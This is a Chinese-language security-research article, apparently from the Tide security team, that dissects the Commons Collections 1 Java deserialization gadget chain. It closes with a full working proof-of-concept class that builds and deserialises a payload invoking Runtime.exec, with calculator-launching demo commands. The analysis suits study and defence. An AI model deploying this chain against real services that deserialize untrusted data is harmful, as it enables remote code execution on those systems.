Redian新闻
>
CommonCollections1 Gadget分析

CommonCollections1 Gadget分析

科技

环境

JDK1.7
Idea 2020.1
Apache CommonCollections V3.1
Idea默认版本Maven

Gadget Chains

将Gadget Chains分片分析,“=”下为迭代链,“=”上为利用链。

ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()====================================================================                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InvokerTransformer.transform()                                    Method.invoke()                                        Class.getMethod()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.exec()

Gadget Chains 1(迭代链)

将迭代链再分片,“=”下为其具体实现,“=”为其前置条件。

 ChainedTransformer.transform()       ConstantTransformer.transform()           InvokerTransformer.transform()                 Method.invoke()                    Class.getMethod()                      InvokerTransformer.transform()                          Method.invoke()                           Runtime.getRuntime()   ===================================================================                               Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                         Runtime.exec()

具体实现

InvokerTransformer

InvokerTransformer#transform方法通过反射调用构造方法中传入的方法。

据InvokerTransformer类的构造方法和transform方法源码,可给出具体实现部分代码,“=”下为transform方法注释。

Runtime rt = Runtime.getRuntime();InvokerTransformer transformer = InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/lixq/Desktop/1.txt"});transformer.transform(rt);======================================================//Runtime rt = Runtime.getRuntime();//Class clazz = rt.getClass();//Method method = clazz.getMethod("exec",String.class);//method.invoke(rt,"open /Users/lixq/Desktop/1.txt");

前置条件

ChainedTransformer.transform()       ConstantTransformer.transform()           InvokerTransformer.transform()                 Method.invoke()                    Class.getMethod()                      InvokerTransformer.transform()                          Method.invoke()                           Runtime.getRuntime()


通过给出的Gadget Chains 1可知前置部分通过多次transform方法执行Runtime.getRuntime方法获取Runtime实例,由下而上逆推可得到前置部分实现代码。
由于Runtime类未继承Serializable故其不能直接反序列化,需要通过反射来一步步获取一个Runtime实例。为便于理解,下面先给出具体逻辑实现代码。

Class clazz = Class.forName("java.lang.Runtime");Class clsClazz = clazz.getClass();Method m1 = clsClazz.getMethod("getMethod", String.class, Class[].class);Object o1 = m1.invoke(clazz,new Object[]{"getRuntime",new Class[0]});Method m2 = m1.getClass().getMethod("invoke", Object.class, Object[].class);Object o2 = m2.invoke(o1,new Object[]{null,null});System.out.println(o1);System.out.println(o2);


使用Transformer迭代链实现之,具体如下。

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);Object clsObj = constantTransformer.transform(1);InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod",                new Class[]{String.class,Class[].class},                new Object[]{"getRuntime",new Class[0]}        );Object getMethodObj = invokerTransformer1.transform(clsObj);System.out.println(getMethodObj);InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",                new Class[]{Object.class,Object[].class},                new Object[]{null,null});Object getRuntimeObj = invokerTransformer2.transform(getMethodObj);System.out.println(getRuntimeObj);



逐语句分析,ConstantTransformer#transformer会返回传入对象本身即Runtime的类对象。



invokerTransformer1.transform返回Runtime.getRuntime方法的Method对象。



invokerTransformer2.transform通过反射调用Method.invoke方法即调用getRumtime这个Method对象invoke方法返回一个Runtime对象。



迭代链实现

迭代链中用到的三个tranform方法:
1.InvokerTransformer.transform():在具体实现中已经给出其实现方法。
2.ConstanTransformer.transform():返回传入对象本身,在前置条件中已给出其实现方法。
3.ChainedTransformer.transform():此方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去。



综合前置条件和具体实现迭代链的最终实现代码和执行结果。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app "})        });chainedTransformer.transform(1);



Gadget Chains 2(利用链)

ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()

由后至前分析,LazyMap.get():当传入的key不存在时执行this.factory.transform,若此时传入的this.factory为构造好的迭代链chainedTransformer则可执行系统命令。



由于LazyMap的构造方法使用protected修饰,故无法直接new一个LazyMap的实例对象,但其提供了decorate方法来实例化一个LazyMap对象。



此时可完成构造利用链的第一步,如下。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app "})        });chainedTransformer.transform(1);Hashmap map = new HashMap();LazyMap lazyMap = LazyMap.decorate(map,chainedTransformer);lazyMap.get(1);



继而向上,AnnotationInvocationHandler implements自InvocationHandler和Serializable是处理注解的类,构造该类需要提供两个参数,一个是Annotation类,一个是Map对象,此类未使用public修饰只能通过反射创建实例。



AnnotationInvocationHandler.invoke:关注代码注释部分,它执行了this.memberValues.get(var4),this.membrtValues等于构造方法中的var2也就是当构造方法中传入的var2为LazyMap对象时会执行LazyMap.get方法。

public Object invoke(Object var1, Method var2, Object[] var3) {        String var4 = var2.getName();        Class[] var5 = var2.getParameterTypes();        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {            return this.equalsImpl(var3[0]);        } else if (var5.length != 0) {            throw new AssertionError("Too many parameters for an annotation method");        } else {            byte var7 = -1;            switch(var4.hashCode()) {            case -1776922004:                if (var4.equals("toString")) {                    var7 = 0;                }                break;            case 147696667:                if (var4.equals("hashCode")) {                    var7 = 1;                }                break;            case 1444986633:                if (var4.equals("annotationType")) {                    var7 = 2;                }            }
switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); }
return var6; } } } }
// default:// Object var6 = this.memberValues.get(var4);

通过动态代理来实现对AnnotationInvocationHandler.invoke方法的调用,先给出代理对象的生成方法注释。

Proxy.newProxyInstance(ClassLoader loader,                       Class<?>[] interfaces,                       InvocationHandler h);

//Proxy类就是用来创建一个代理对象的类,它提供了很多方法,但最常用的是newProxyInstance方法。
//InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;//在代理实例调用方法时,方法调用被分派到调用处理程序的invoke方法。//其相当于一种代码增强,即在原先的方法逻辑上加上额外操作,在方法执行之前和之后加点通用逻辑,方便实现和维护。

先看下

AnnotationInvocationHandler.readObject()方法实现,this.memberValues是其构造方法中传入的Map对象,当其是一个代理Map对象并执行this.memberValues.entrySet().iterator()时会调用memberValues对应InvocationHandler对象的invoke方法。



综上,可给出利用链实现代码。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));objectOutputStream.writeObject(handler);objectOutputStream.close();

POC

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;

class CC1 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { //构造迭代链 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "}) });
构造利用链 HashMap map = new HashMap(); map.put("11","22"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
//序列化 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin")); objectOutputStream.writeObject(handler); objectOutputStream.close();
//反序列化 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Poc.bin")); inputStream.readObject();
}}



总结下CommonCollections1 反序列化执行恶意代码过程:
通过动态代理调用

AnnotationInvocationHandler.invoke(),AnnotationInvocationHandler对象构造时传入LazyMap,在调用其invoke方法时会执行LazyMap.get(),构造LazyMap对象时传入构造好的迭代链,执行LazyMap.get()时调用ChianedTransformer.transform(),最终执行系统命令。

E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
收下这份College Fun Facts, 看看美国大学们万里挑一的有趣灵魂!【6.8今日折扣】Tom Ford美妆香氛闪促!Morrisons美食限时半价!Maje/Molton Brown限时npj Flexible Electronics: 激光诱导石墨烯柔性可拉伸电子器件[8月31日]科学历史上的今天——摩尔学院讲座结束(End of the Moore School Lectures)Henan Plans to ‘Recognize’ Locals Preventing Domestic Violence[摄影] 温柔透明的50mm:徕卡SUMMILUX-M 50mm F1.4 ASPH.主观使用体验周末体力劳动及收获工业化的记忆——南京园博园珺懋傲途格酒店私汤温泉房体验 CAST Nanjing, Autograph CollectionA Coming-Out Guide Aims to Promote Acceptance Among Gay ChineseURLDNS Gadget分析Revived Poyang Lake Dam Project Sparks Ecological ConcernsTheir Secret Sales Weapons? Language LessonsChinese Men Still Get a Pass on Domestic Labor. Even From Women.使用 External Secrets Operator 安全管理 Kubernetes Secrets巴哈马游记 3 拿骚 Downtown彭博荣获Structured Retail Products 2022年亚太区最佳定价和风险分析服务商奖6.19 | NASU征服群山系列活动④- Franconia Ridge LoopFatal Car Crash Sparks Safety Concerns Over Autonomous DrivingChina Has a Food Waste Problem. Can More Communal Dining Help?在美国106.什么食物!写在爸爸88岁生日的云聚会Chinese Cities Target Made-Up Street Names Attracting Influencer用心等,用力呼吸Another Video of Violence Against Woman Sparks Outcry in China【6.2今日折扣】SKII/奥伦纳素超低价入手!Emma Bridgewater女王纪念款餐具上线!LF护肤独家折扣限时China’s Tutoring Ban Has Become an Endless Game of Whack-a-Mole精选SDE岗位 | Collabera Inc、Ansys、Optiver等公司最新职位发布!Amid Pro-Birth Blitz, China Pledges Benefits for Single Moms重磅:8/1 Common App系统开放,2023Fall申请进入倒计时!How Foreign Students Cheat China’s College Admissions System【前瞻Prospect·EP03】线性资本王淮: From Scaling FB to Leading VC InvestingA Disabled Chinese Poet Falls Victim to Domestic Violence西雅图周末不无聊|一整个夏天都有免费音乐会听啦!就在Bellevue Beats Summer Concerts!Burnt Out and On Edge, China’s Coders Hunt Options AbroadChinese Telecoms Block Incoming Int’l Calls, Texts to Fight Scam
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。